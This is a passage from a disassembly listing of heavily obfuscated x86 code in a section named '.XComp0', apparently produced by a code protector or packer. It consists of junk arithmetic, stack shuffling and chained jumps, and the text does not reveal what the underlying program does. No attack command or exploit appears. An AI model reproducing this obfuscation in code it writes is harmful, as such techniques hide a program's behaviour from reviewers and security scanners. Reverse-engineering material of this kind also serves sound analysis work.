[esp] push eax jmp loc_58C1DD ; --------------------------------------------------------------------------- loc_58EAD7: ; CODE XREF: .XComp0:00589674j add edi, edx mov edx, [esp] add esp, 4 jmp loc_5876B0 ; --------------------------------------------------------------------------- loc_58EAE7: ; CODE XREF: .XComp0:0059824Bj add ebp, 4 push ecx push eax mov eax, 6DE75CB1h push eax mov eax, 51D903B7h inc eax or eax, 2E985666h or eax, 0ABC2AB0h not eax shr eax, 2 jmp loc_5928EE ; --------------------------------------------------------------------------- loc_58EB0F: ; CODE XREF: .XComp0:005938CDj sub ebp, 5C21710Ch add ebp, edi add ebp, 5C21710Ch jmp loc_588AC1 ; --------------------------------------------------------------------------- loc_58EB22: ; CODE XREF: .XComp0:00595521j push dword ptr [esp] jmp loc_584AD7 ; --------------------------------------------------------------------------- loc_58EB2A: ; CODE XREF: .XComp0:00585061j push edx sub esp, 4 jmp loc_59895B ; --------------------------------------------------------------------------- loc_58EB33: ; CODE XREF: .XComp0:00588747j push eax pop esi jmp loc_58A28E ; --------------------------------------------------------------------------- loc_58EB3A: ; CODE XREF: .XComp0:00591604j push ecx mov ecx, 798106E9h mov edx, ecx mov ecx, [esp] jmp loc_58BDE2 ; --------------------------------------------------------------------------- loc_58EB4A: ; CODE XREF: .XComp0:00584F1Fj shr ebp, 5 shr ebp, 5 sub ebp, 5DB634B9h shl ebp, 4 jmp loc_59555A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58EB6C: ; CODE XREF: .XComp0:0058D783j mov [esp], ebx mov bl, 0CCh jmp loc_58F514 ; --------------------------------------------------------------------------- loc_58EB76: ; CODE XREF: .XComp0:005863B9j sub ebp, 728567EEh jmp loc_598EE6 ; --------------------------------------------------------------------------- loc_58EB81: ; CODE XREF: .XComp0:0058C05Cj shr eax, 12h xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx xchg edx, ecx not edx xchg edx, ecx sub esp, 4 jmp loc_58BFDA ; --------------------------------------------------------------------------- loc_58EB9A: ; CODE XREF: .XComp0:00589477j mov ah, 0Fh add ah, 0B9h jmp loc_58BFA4 ; --------------------------------------------------------------------------- loc_58EBA4: ; CODE XREF: .XComp0:00589B2Fj pop ebp jmp loc_595BF6 ; --------------------------------------------------------------------------- loc_58EBAA: ; CODE XREF: .XComp0:00597247j mov eax, 4D884D42h add eax, 0DD62F47Bh add ecx, eax jmp loc_590FB3 ; --------------------------------------------------------------------------- loc_58EBBB: ; CODE XREF: .XComp0:005867B1j add esp, 4 add bl, 92h jmp loc_58C853 ; --------------------------------------------------------------------------- loc_58EBC9: ; CODE XREF: .XComp0:00592158j mov edx, 5B336106h jmp loc_590A1E ; --------------------------------------------------------------------------- loc_58EBD3: ; CODE XREF: .XComp0:00585A4Ej shl eax, 1 xchg eax, esi push esi not dword ptr [esp] pop esi xchg eax, esi sub eax, 9E209BCh add ebx, eax mov eax, [esp] add esp, 4 push dword ptr [esp] pop edx jmp loc_58AD39 ; --------------------------------------------------------------------------- loc_58EBF5: ; CODE XREF: .XComp0:0058D005j neg edx jmp loc_58A5BF ; --------------------------------------------------------------------------- loc_58EBFC: ; CODE XREF: .XComp0:0058F793j pop ebp sub esp, 4 mov [esp], ebp jmp loc_593F7B ; --------------------------------------------------------------------------- loc_58EC08: ; CODE XREF: .XComp0:00586B8Fj xor edx, 8B5933BBh add ecx, 1AA57943h add ecx, edx sub ecx, 1AA57943h jmp loc_5947A8 ; --------------------------------------------------------------------------- loc_58EC21: ; CODE XREF: .XComp0:0058705Dj add esi, 4 xchg esi, [esp] pop esp jmp loc_58CD86 ; --------------------------------------------------------------------------- loc_58EC30: ; CODE XREF: .XComp0:00587420j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58EC35: ; CODE XREF: .XComp0:00597520j mov edx, [esp] add esp, 4 jmp loc_59262D ; --------------------------------------------------------------------------- loc_58EC43: ; CODE XREF: .XComp0:00593551j push esi mov esi, 307FABD7h sub ebp, esi pop esi jmp loc_594C30 ; --------------------------------------------------------------------------- loc_58EC51: ; CODE XREF: .XComp0:0058AE6Cj xor eax, [esp] mov esp, [esp] push ebp mov ebp, esi mov ebx, ebp pop ebp jmp loc_58F9A1 ; --------------------------------------------------------------------------- loc_58EC62: ; CODE XREF: .XComp0:0058C67Cj mov edi, 213B77C0h sub eax, edi pop edi push 6389h mov [esp], edi mov edi, 3E4E6D07h shr edi, 5 jmp loc_593ED9 ; --------------------------------------------------------------------------- loc_58EC7F: ; CODE XREF: .XComp0:00584DC1j add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58D4AE ; --------------------------------------------------------------------------- loc_58EC96: ; CODE XREF: .XComp0:00597832j or eax, eax jnz loc_583BDC push esi push 57BB4814h pop esi dec esi sub esi, 1 push ecx mov ecx, 52FC4911h jmp loc_58E9AD ; --------------------------------------------------------------------------- loc_58ECB7: ; CODE XREF: .XComp0:00585BEAj or edi, 69026FEEh dec edi sub edi, 415F3BBBh add ebx, edi pop edi add ebx, ebp sub ebx, 2C084442h pop ebp xor ebx, [esp] jmp loc_5923C1 ; --------------------------------------------------------------------------- loc_58ECD8: ; CODE XREF: .XComp0:0058F8AFj shr ecx, 1 sub ecx, 98363B8h add ebp, ecx pop ecx jmp loc_5969DA ; --------------------------------------------------------------------------- loc_58ECE8: ; CODE XREF: .XComp0:00597307j xor eax, esi jmp loc_584E0A ; --------------------------------------------------------------------------- loc_58ECEF: ; CODE XREF: .XComp0:0059695Dj push edi mov edi, 1 jmp loc_59290C ; --------------------------------------------------------------------------- loc_58ECFA: ; CODE XREF: .XComp0:0058613Dj mov ecx, 5FA574A7h xor ecx, edx jmp loc_5857C6 ; --------------------------------------------------------------------------- loc_58ED06: ; CODE XREF: .XComp0:00598EE8j add ebp, 728567EEh jmp loc_5914AC ; --------------------------------------------------------------------------- loc_58ED11: ; CODE XREF: .XComp0:00583FE3j push ebp push edi jmp loc_5915A4 ; --------------------------------------------------------------------------- loc_58ED18: ; CODE XREF: .XComp0:005883F7j mov cx, [esp] push edi mov edi, esp push ecx mov ecx, 64E63916h sub ecx, 1 xor ecx, 60A821DDh and ecx, 17C01EAEh jmp loc_5980DD ; --------------------------------------------------------------------------- loc_58ED39: ; CODE XREF: .XComp0:0058A7DDj mov [esp], edx jmp loc_591759 ; --------------------------------------------------------------------------- loc_58ED41: ; CODE XREF: .XComp0:00589EC0j add esp, 4 push 50A9h mov [esp], ecx jmp loc_59444B ; --------------------------------------------------------------------------- loc_58ED54: ; CODE XREF: .XComp0:00596FF2j push 24h mov ecx, [esp] push esi mov esi, esp add esi, 4 push ebp jmp loc_58DFCB ; --------------------------------------------------------------------------- loc_58ED6B: ; CODE XREF: .XComp0:0058C12Dj sub eax, edi add eax, 36C214AFh mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx jmp loc_591164 ; --------------------------------------------------------------------------- loc_58ED94: ; CODE XREF: .XComp0:00587885j shl edi, 7 xor edi, 1697718Bh sub eax, edi pop edi sub eax, ebp push ebx mov ebx, 19FF0DC1h jmp loc_58506D ; --------------------------------------------------------------------------- loc_58EDAD: ; CODE XREF: .XComp0:0058B467j mov esi, 3C127E33h mov ecx, 3F20262h add ecx, esi pop esi add edi, ecx pop ecx add eax, edi mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ebx mov ebx, 4 add eax, ebx pop ebx xchg eax, [esp] pop esp jmp loc_58AFFD ; --------------------------------------------------------------------------- loc_58EDE5: ; CODE XREF: .XComp0:005906D4j push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], esi sub esp, 4 jmp loc_5920F4 ; --------------------------------------------------------------------------- loc_58EDFB: ; CODE XREF: .XComp0:0059763Ej sub esp, 4 mov [esp], ebp push 60EAh mov [esp], ebx jmp loc_5952BF ; --------------------------------------------------------------------------- loc_58EE0E: ; CODE XREF: .XComp0:005867C1j sub ecx, 8D00087h add ebx, ecx pop ecx jmp loc_593DE8 ; --------------------------------------------------------------------------- loc_58EE1C: ; CODE XREF: .XComp0:00584D95j add esi, edx add esi, 7DB40983h add esi, 69E1F64h pop edx push ecx mov ecx, 4 add esi, ecx jmp loc_58B8D1 ; --------------------------------------------------------------------------- loc_58EE38: ; CODE XREF: .XComp0:00596821j xor edi, 2FE976A0h jmp loc_58B20D ; --------------------------------------------------------------------------- loc_58EE43: ; CODE XREF: .XComp0:00594875j mov [esp], edx mov edx, 24h jmp loc_58E163 ; --------------------------------------------------------------------------- loc_58EE50: ; CODE XREF: .XComp0:0058932Bj sub esp, 4 jmp loc_593B84 ; --------------------------------------------------------------------------- loc_58EE5B: ; CODE XREF: .XComp0:00586193j mov [esp], ecx push edx push 42C83486h mov edx, [esp] add esp, 4 sub edx, 598E0FB8h or edx, 83968C9h sub edx, 7C9B3C59h add edx, 0E0ED2978h push ebp mov ebp, edx mov ecx, ebp jmp loc_598B58 ; --------------------------------------------------------------------------- loc_58EE8F: ; CODE XREF: .XComp0:00597EE2j shl esi, 8 shr esi, 1 sub esi, 54925794h xor esi, 0BD83D968h jmp loc_5923BA ; --------------------------------------------------------------------------- loc_58EEA5: ; CODE XREF: .XComp0:00590F9Ej push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx mov edx, 45D23C95h shl edx, 5 jmp loc_58670A ; --------------------------------------------------------------------------- loc_58EEC4: ; CODE XREF: .XComp0:005965B6j mov edi, [esp] add esp, 4 jmp loc_58F2C7 ; --------------------------------------------------------------------------- loc_58EECF: ; CODE XREF: .XComp0:005905D1j mov ebp, esp push edx mov edx, esp add edx, 4 jmp loc_58F18E ; --------------------------------------------------------------------------- loc_58EEDF: ; CODE XREF: .XComp0:00597CC1j mov esi, edi push dword ptr [esp] pop edi add esp, 4 and eax, esi jmp loc_58E86F ; --------------------------------------------------------------------------- loc_58EEEF: ; CODE XREF: .XComp0:0058E253j xor eax, 8DA9D323h and edi, eax pop eax jmp loc_595C94 ; --------------------------------------------------------------------------- loc_58EEFC: ; CODE XREF: .XComp0:0058AAE0j push 4854h mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 push edi mov edi, 4 jmp loc_598250 ; --------------------------------------------------------------------------- loc_58EF1A: ; CODE XREF: .XComp0:0058C31Aj add edx, 4 jmp loc_593A3E ; --------------------------------------------------------------------------- loc_58EF25: ; CODE XREF: .XComp0:00584898j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58EF2A: ; CODE XREF: .XComp0:00585C9Aj push dword ptr [esp+4] mov ecx, [esp] push 57B1h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] jmp loc_58DD7D ; --------------------------------------------------------------------------- loc_58EF55: ; CODE XREF: .XComp0:005845FEj pop ebx jmp loc_58CA8C ; --------------------------------------------------------------------------- loc_58EF5B: ; CODE XREF: .XComp0:0058646Dj mov [esp], ebp jmp loc_5894B8 ; --------------------------------------------------------------------------- loc_58EF63: ; CODE XREF: .XComp0:0058A80Bj not eax shr eax, 8 push 5212h mov [esp], ecx mov ecx, 3C8D3083h jmp loc_597E85 ; --------------------------------------------------------------------------- loc_58EF7A: ; CODE XREF: .XComp0:005983E0j mov esp, [esp] mov ax, [esp] push 4D69h mov [esp], edi push 455Ah jmp loc_58F524 ; --------------------------------------------------------------------------- loc_58EF93: ; CODE XREF: .XComp0:00588007j xchg eax, edi jmp loc_597627 ; --------------------------------------------------------------------------- loc_58EF99: ; CODE XREF: .XComp0:0058BC46j push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 jmp loc_58E6DA ; --------------------------------------------------------------------------- loc_58EFAC: ; CODE XREF: .XComp0:00587D9Aj push ebx sub esp, 4 push esp jmp loc_58D0C5 ; --------------------------------------------------------------------------- loc_58EFB6: ; CODE XREF: .XComp0:0058E900j sub esi, 4383306Dh jmp loc_584B05 ; --------------------------------------------------------------------------- loc_58EFC1: ; CODE XREF: .XComp0:00595EE1j pop edx add esp, 4 xchg ebp, [esp] mov esp, [esp] push 2DB8h mov [esp], edx push esp pop edx push eax push ebp mov ebp, 3DAE52F7h sub ebp, 53BC010Dh and ebp, 7D2D3B75h xor ebp, 1CF36B8Dh push esi mov esi, 75D37AE9h xor ebp, esi pop esi mov eax, ebp pop ebp add edx, eax push dword ptr [esp] pop eax jmp loc_590FFB ; --------------------------------------------------------------------------- loc_58F005: ; CODE XREF: .XComp0:0058A359j sub al, 0DBh push ecx sub esp, 4 jmp loc_58C768 ; --------------------------------------------------------------------------- loc_58F010: ; CODE XREF: .XComp0:005875EEj sub esp, 4 jmp loc_5947E0 ; --------------------------------------------------------------------------- loc_58F018: ; CODE XREF: .XComp0:00595B02j sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] push 716Eh mov [esp], eax mov eax, 1C326969h or eax, 21C250FAh and eax, 607D7384h not eax and eax, 66470h dec eax xor eax, 6046Bh push 69Dh mov [esp], ecx mov ecx, 766868B6h jmp loc_58CE6C ; --------------------------------------------------------------------------- loc_58F05C: ; CODE XREF: .XComp0:00585664j mov ebx, [esp] add esp, 4 add eax, 5EFF61D9h jmp loc_58729F ; --------------------------------------------------------------------------- loc_58F06F: ; CODE XREF: .XComp0:00584EE4j sub eax, 3D746780h jmp loc_587512 ; --------------------------------------------------------------------------- loc_58F079: ; CODE XREF: .XComp0:005937E3j mov edi, 0C8862E3h sub ebp, edi mov edi, [esp] add esp, 4 add ebp, ebx sub esp, 4 jmp loc_58FCF3 ; --------------------------------------------------------------------------- loc_58F096: ; CODE XREF: .XComp0:00587418j dec edi add edi, 0F741F452h sub edx, edi pop edi sub ebp, 30B10BEBh add ebp, edx add ebp, 30B10BEBh mov edx, [esp] push edi mov edi, esp jmp loc_58669B ; --------------------------------------------------------------------------- loc_58F0B9: ; CODE XREF: .XComp0:00584040j xor edi, 3621482Bh push eax mov eax, 551A4E7Eh jmp loc_593F82 ; --------------------------------------------------------------------------- loc_58F0CA: ; CODE XREF: .XComp0:00588D08j xchg esi, ebx not esi xchg esi, ebx push ecx mov ecx, 8400EA1Ch sub ebx, ecx pop ecx mov eax, ebx jmp loc_586AFC ; --------------------------------------------------------------------------- loc_58F0E0: ; CODE XREF: .XComp0:00592D29j push ebp push dword ptr [esp+4] jmp loc_589525 ; --------------------------------------------------------------------------- loc_58F0EA: ; CODE XREF: .XComp0:00583E3Ej push ebx mov ebx, 4 sub edi, 57A467DAh add edi, ebx add edi, 57A467DAh pop ebx add edi, 4 xchg edi, [esp] pop esp sub esp, 2 jmp loc_598C45 ; --------------------------------------------------------------------------- loc_58F111: ; CODE XREF: .XComp0:00586EDCj add edx, 5F860E47h pop ebp push ebp mov ebp, 2 add edx, ebp pop ebp jmp loc_591D47 ; --------------------------------------------------------------------------- loc_58F126: ; CODE XREF: .XComp0:00596286j push edi mov edi, 66827EF5h shr edi, 2 shr edi, 2 push ebp mov ebp, 4F4D7C62h jmp loc_592F0D ; --------------------------------------------------------------------------- loc_58F13D: ; CODE XREF: .XComp0:0058922Ej mov esp, [esp] movzx ax, byte ptr [eax] jmp loc_594728 ; --------------------------------------------------------------------------- loc_58F149: ; CODE XREF: .XComp0:00597311j add ebp, ebx jmp loc_585857 ; --------------------------------------------------------------------------- loc_58F150: ; CODE XREF: .XComp0:00585955j mov ecx, edi mov edx, ecx pop ecx pop edi push edx pop eax jmp loc_592575 ; --------------------------------------------------------------------------- loc_58F15D: ; CODE XREF: .XComp0:00584078j push eax push ebp jmp loc_587C95 ; --------------------------------------------------------------------------- loc_58F164: ; CODE XREF: .XComp0:00597AE3j push ecx push esp jmp loc_5876BF ; --------------------------------------------------------------------------- loc_58F16B: ; CODE XREF: .XComp0:0058E147j push eax mov eax, 798856BDh add eax, 0F288E340h and edx, eax pop eax jmp loc_58B843 ; --------------------------------------------------------------------------- loc_58F17E: ; CODE XREF: .XComp0:0059703Cj pop ebx add esp, 4 add edx, 4 push edx jmp loc_59238B ; --------------------------------------------------------------------------- loc_58F18E: ; CODE XREF: .XComp0:0058EEDAj sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi push 4 jmp loc_5960CA ; --------------------------------------------------------------------------- loc_58F1A5: ; CODE XREF: .XComp0:00594723j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp sub esp, 4 jmp loc_58C263 ; --------------------------------------------------------------------------- loc_58F1BD: ; CODE XREF: .XComp0:00590EADj mov edx, [esp] add esp, 4 push edi jmp loc_5963FE ; --------------------------------------------------------------------------- loc_58F1CC: ; CODE XREF: .XComp0:00589F82j pop esp jmp loc_58E770 ; --------------------------------------------------------------------------- loc_58F1D2: ; CODE XREF: .XComp0:0059517Ej pop ecx and eax, ebx mov ebx, [esp] sub esp, 4 jmp loc_589F77 ; --------------------------------------------------------------------------- loc_58F1E3: ; CODE XREF: .XComp0:005952D3j shr ebx, 1 push esi jmp loc_587924 ; --------------------------------------------------------------------------- loc_58F1EB: ; CODE XREF: .XComp0:0058F280j add esp, 4 push 12CCh mov [esp], esi jmp loc_58F87C ; --------------------------------------------------------------------------- loc_58F1FE: ; CODE XREF: .XComp0:005847C3j add ebp, edx pop edx jmp loc_590467 ; --------------------------------------------------------------------------- loc_58F206: ; CODE XREF: .XComp0:00597538j mov dx, [esp] push 1A8Eh jmp loc_588A79 ; --------------------------------------------------------------------------- loc_58F214: ; CODE XREF: .XComp0:00594450j shl ecx, 7 add ecx, 3A962409h dec ecx push ebx jmp loc_589B34 ; --------------------------------------------------------------------------- loc_58F224: ; CODE XREF: .XComp0:005954D3j sub esp, 4 mov [esp], edi mov edi, 4 add ebx, 6BA32C60h add ebx, edi sub ebx, 6BA32C60h mov edi, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] add edi, 4 push ebp mov ebp, 2 jmp loc_594A5D ; --------------------------------------------------------------------------- loc_58F25D: ; CODE XREF: .XComp0:0058AFEFj sub edi, 795A6F22h mov edx, [esp] add esp, 4 xchg edi, [esp] pop esp push edi push esp pop edi push ebx jmp loc_5980C3 ; --------------------------------------------------------------------------- loc_58F279: ; CODE XREF: .XComp0:00589958j sub esi, edx pop edx push dword ptr [esp] pop ebp jmp loc_58F1EB ; --------------------------------------------------------------------------- loc_58F285: ; CODE XREF: .XComp0:005845ABj mov ecx, edx mov ebp, ecx pop ecx jmp loc_58692F ; --------------------------------------------------------------------------- loc_58F28F: ; CODE XREF: .XComp0:00586A57j pop ecx jmp loc_590C32 ; --------------------------------------------------------------------------- loc_58F295: ; CODE XREF: .XComp0:00592524j add edi, 4 jmp loc_595A9F ; --------------------------------------------------------------------------- loc_58F2A0: ; CODE XREF: .XComp0:00597F6Bj shl ebp, 1 jmp loc_5940DB ; --------------------------------------------------------------------------- loc_58F2A7: ; CODE XREF: .XComp0:0058D66Dj push ebp mov ebp, 4 add [esp+4], ebp jmp loc_591FF7 ; --------------------------------------------------------------------------- loc_58F2B6: ; CODE XREF: .XComp0:00585C81j mov [esp], eax pop esi jmp loc_586B04 ; --------------------------------------------------------------------------- loc_58F2BF: ; CODE XREF: .XComp0:0058489Ej mov eax, [esp] jmp loc_594094 ; --------------------------------------------------------------------------- loc_58F2C7: ; CODE XREF: .XComp0:0058EECAj add esi, 5EAF5627h add esi, 11100171h add esi, edx push ebp mov ebp, 2FB34831h shr ebp, 2 sub ebp, 17ED0892h inc ebp xor ebp, 0E2EFC80Ah add esi, 5B97176Ch sub esi, ebp sub esi, 5B97176Ch pop ebp sub esi, 5EAF5627h add esi, 6A691BEBh jmp loc_58D693 ; --------------------------------------------------------------------------- loc_58F30B: ; CODE XREF: .XComp0:005896ECj pop ebx pop eax push dx jmp loc_592C14 ; --------------------------------------------------------------------------- loc_58F314: ; CODE XREF: .XComp0:0058D637j pop esi add esi, 67483B4Dh sub esi, 59570B61h jmp loc_583C29 ; --------------------------------------------------------------------------- loc_58F326: ; CODE XREF: .XComp0:0059248Dj push ebx mov ebx, 72906749h push ebx inc dword ptr [esp] jmp loc_58E90F ; --------------------------------------------------------------------------- loc_58F335: ; CODE XREF: .XComp0:0058B0CAj push ebp mov ebp, esp jmp loc_5885FB ; --------------------------------------------------------------------------- loc_58F33D: ; CODE XREF: .XComp0:0058AFA6j sub ebp, 67110230h add ebp, ecx add ebp, 67110230h pop ecx add ebp, 4 xchg ebp, [esp] pop esp movsx ecx, ax jmp loc_5981DD ; --------------------------------------------------------------------------- loc_58F35E: ; CODE XREF: .XComp0:00598159j pop bx sub ax, bp add ax, 76C1h mov bp, [esp] add esp, 2 push small 556h mov [esp], bp mov bp, 5472h sub ax, bp mov bp, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 2 jmp loc_5852A3 ; --------------------------------------------------------------------------- loc_58F39A: ; CODE XREF: .XComp0:00588C8Bj pop eax jmp loc_585964 ; --------------------------------------------------------------------------- loc_58F3A0: ; CODE XREF: .XComp0:005947FFj add edi, 4 jmp loc_593428 ; --------------------------------------------------------------------------- loc_58F3AB: ; CODE XREF: .XComp0:0059227Fj push ebp mov ebp, esp push ecx jmp loc_584D27 ; --------------------------------------------------------------------------- loc_58F3B4: ; CODE XREF: .XComp0:00586AFFj add esp, 4 add eax, ebx add dword ptr [eax], 1 jmp loc_58AD03 ; --------------------------------------------------------------------------- loc_58F3C4: ; CODE XREF: .XComp0:005981D8j add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_5964BE ; --------------------------------------------------------------------------- loc_58F3DB: ; CODE XREF: .XComp0:0058BFB1j pop eax jmp loc_58BE84 ; --------------------------------------------------------------------------- loc_58F3E1: ; CODE XREF: .XComp0:00589AB6j shr edi, 4 sub edi, 0DB27CA89h mov edx, edi pop edi and edx, 3E9D21B0h shl edx, 6 add edx, 61C161BFh sub edx, 10417EDBh sub edi, edx pop edx add edi, ecx push ebx mov ebx, 75804AE4h add edi, ebx jmp loc_58DE54 ; --------------------------------------------------------------------------- loc_58F414: ; CODE XREF: .XComp0:00597E01j add bl, 0FFh shr bl, 8 jmp loc_5888F2 ; --------------------------------------------------------------------------- loc_58F41F: ; CODE XREF: .XComp0:005902B8j add esp, 4 sub esp, 4 mov [esp], ecx push ebx mov ebx, 4 jmp loc_593878 ; --------------------------------------------------------------------------- loc_58F436: ; CODE XREF: .XComp0:00597A13j add eax, edx pop edx mov ecx, [esp] add esp, 4 pop ecx push esi push eax mov eax, 293E27DCh mov esi, 0D6C25824h push ebp mov ebp, 5C7D26A5h sub ebp, 4AD31CB3h push esi mov esi, 5D490CA2h shr esi, 8 push edx push 50BA7E9Eh pop edx sub edx, 61BF6928h add edx, 6B0E4D74h and esi, edx mov edx, [esp] add esp, 4 xor esi, 69F851A9h jmp loc_598CA1 ; --------------------------------------------------------------------------- loc_58F48A: ; CODE XREF: .XComp0:00587FB7j sub al, 11h jmp loc_596BC3 ; --------------------------------------------------------------------------- loc_58F491: ; CODE XREF: .XComp0:0058A686j xor eax, [esp] mov esp, [esp] shr word ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58F4A1: ; CODE XREF: .XComp0:00598476j mov cl, 0BEh add cl, 29h shl cl, 5 shl cl, 7 jmp loc_5892A1 ; --------------------------------------------------------------------------- loc_58F4B1: ; CODE XREF: .XComp0:00585852j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_592008 ; --------------------------------------------------------------------------- loc_58F4C5: ; CODE XREF: .XComp0:00591A33j push dx mov dl, 25h sub bl, dl pop dx sub bl, 0ABh sub bl, al add bl, 0ABh sub esp, 4 mov [esp], edx mov dh, 0AFh jmp loc_58A2C6 ; --------------------------------------------------------------------------- loc_58F4E2: ; CODE XREF: .XComp0:005885C7j pop ebx sub esi, 0F179C8Bh jmp loc_58BACE ; --------------------------------------------------------------------------- loc_58F4EE: ; CODE XREF: .XComp0:00589F42j mov ebp, esi jmp loc_585F71 ; --------------------------------------------------------------------------- loc_58F4F5: ; CODE XREF: .XComp0:0058E488j mov ecx, 570B7DD0h jmp loc_593B56 ; --------------------------------------------------------------------------- loc_58F4FF: ; CODE XREF: .XComp0:0058879Bj shl ecx, 1 add ecx, 0ECD71865h xor edx, ecx jmp loc_5981B2 ; --------------------------------------------------------------------------- loc_58F50E: ; CODE XREF: .XComp0:005916EBj dec ebp jmp loc_583C47 ; --------------------------------------------------------------------------- loc_58F514: ; CODE XREF: .XComp0:0058EB71j push cx mov cl, 0CAh jmp loc_58875D ; --------------------------------------------------------------------------- loc_58F51D: ; CODE XREF: .XComp0:0058918Fj mov esi, ebp jmp loc_589181 ; --------------------------------------------------------------------------- loc_58F524: ; CODE XREF: .XComp0:0058EF8Ej push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5937D0 ; --------------------------------------------------------------------------- loc_58F531: ; CODE XREF: .XComp0:0058A16Dj sub edx, ebx pop ebx jmp loc_585975 ; --------------------------------------------------------------------------- loc_58F539: ; CODE XREF: .XComp0:005920C6j pop esi jmp loc_58CE98 ; --------------------------------------------------------------------------- loc_58F53F: ; CODE XREF: .XComp0:0058A721j shl ecx, 7 jmp loc_585CD4 ; --------------------------------------------------------------------------- loc_58F547: ; CODE XREF: .XComp0:005941C7j pop ebx jmp loc_598E5E ; --------------------------------------------------------------------------- loc_58F54D: ; CODE XREF: .XComp0:00590356j mov [esp], esp push 6875h mov [esp], esi push ebp mov ebp, 6CDC3993h mov esi, 9323C671h add esi, ebp pop ebp add [esp+4], esi pop esi jmp loc_584154 ; --------------------------------------------------------------------------- loc_58F570: ; CODE XREF: .XComp0:00596F3Fj jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58F575: ; CODE XREF: .XComp0:0058C57Cj push 3427h mov [esp], ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 jmp loc_5933C8 ; --------------------------------------------------------------------------- loc_58F592: ; CODE XREF: .XComp0:005859D8j mov ebx, esp jmp loc_5956D4 ; --------------------------------------------------------------------------- loc_58F599: ; CODE XREF: .XComp0:00593AB2j xor eax, 48F143BCh and eax, 78987DBAh jmp loc_589629 ; --------------------------------------------------------------------------- loc_58F5A8: ; CODE XREF: .XComp0:00591878j sub eax, 4F7860BEh inc eax xor eax, 0B0C41720h add ecx, eax pop eax sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_59636E ; --------------------------------------------------------------------------- loc_58F5C7: ; CODE XREF: .XComp0:005840F4j pop esp jmp loc_5926FA ; --------------------------------------------------------------------------- loc_58F5CD: ; CODE XREF: .XComp0:005923BCj pop esi sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax push 1714h mov [esp], ecx jmp loc_595A5D ; --------------------------------------------------------------------------- loc_58F5E5: ; CODE XREF: .XComp0:00590854j add esi, edx jmp loc_5953BB ; --------------------------------------------------------------------------- loc_58F5EC: ; CODE XREF: .XComp0:0058D4A9j mov [esp], edi jmp loc_591EA7 ; --------------------------------------------------------------------------- loc_58F5F4: ; CODE XREF: .XComp0:005846A6j push edx push 2D70h mov [esp], eax push 27DB44D7h pop eax xor eax, 27DB44D3h push ebx mov ebx, eax jmp loc_58CA20 ; --------------------------------------------------------------------------- loc_58F610: ; CODE XREF: .XComp0:00595678j sub edi, 33EA4101h jmp loc_594208 ; --------------------------------------------------------------------------- loc_58F61B: ; CODE XREF: .XComp0:0059126Fj push ebp mov ebp, 0CDF15A7h add edi, ebp pop ebp sub edi, 33C4743Ch push 2156h jmp loc_5975C6 ; --------------------------------------------------------------------------- loc_58F634: ; CODE XREF: .XComp0:005907F3j mov [esp], ebp mov ebp, 7D1C00B2h jmp loc_597B76 ; --------------------------------------------------------------------------- loc_58F641: ; CODE XREF: .XComp0:0058FE37j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], esi push eax push 1CB45B31h pop eax shr eax, 5 sub eax, 0E5A2D5h mov esi, eax pop eax add ecx, esi mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_5939A7 ; --------------------------------------------------------------------------- loc_58F67D: ; CODE XREF: .XComp0:005960B2j mov [esp], edi mov edi, 2B5367F6h and edi, 3C5C2C93h add edi, 0D7AFDB72h add eax, 4B0E7629h jmp loc_58B6F3 ; --------------------------------------------------------------------------- loc_58F69B: ; CODE XREF: .XComp0:0058B372j sub ebp, ebx pop ebx xor edx, ebp pop ebp jmp loc_597ECC ; --------------------------------------------------------------------------- loc_58F6A6: ; CODE XREF: .XComp0:00586FE3j pop esi jmp loc_598B1A ; --------------------------------------------------------------------------- loc_58F6AC: ; CODE XREF: .XComp0:0058A2FDj add al, 83h sub al, 0F5h add al, bl add al, 0F5h sub al, 83h jmp loc_58CDAD ; --------------------------------------------------------------------------- loc_58F6BB: ; CODE XREF: .XComp0:00584B72j add esp, 4 jmp loc_592C93 ; --------------------------------------------------------------------------- loc_58F6C3: ; CODE XREF: .XComp0:0058E794j sub al, bl pop ebx jmp loc_5876D4 ; --------------------------------------------------------------------------- loc_58F6CB: ; CODE XREF: .XComp0:0058FA4Dj mov esi, 688D0222h or esi, 47B6061h shr esi, 3 push ebp mov ebp, 2EFF8F02h xor esi, ebp pop ebp jmp loc_5865B5 ; --------------------------------------------------------------------------- loc_58F6E7: ; CODE XREF: .XComp0:00591113j mov edi, [esp] push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp push edx mov edx, 4 sub ebp, edx pop edx xor ebp, [esp] jmp loc_588102 ; --------------------------------------------------------------------------- loc_58F70E: ; CODE XREF: 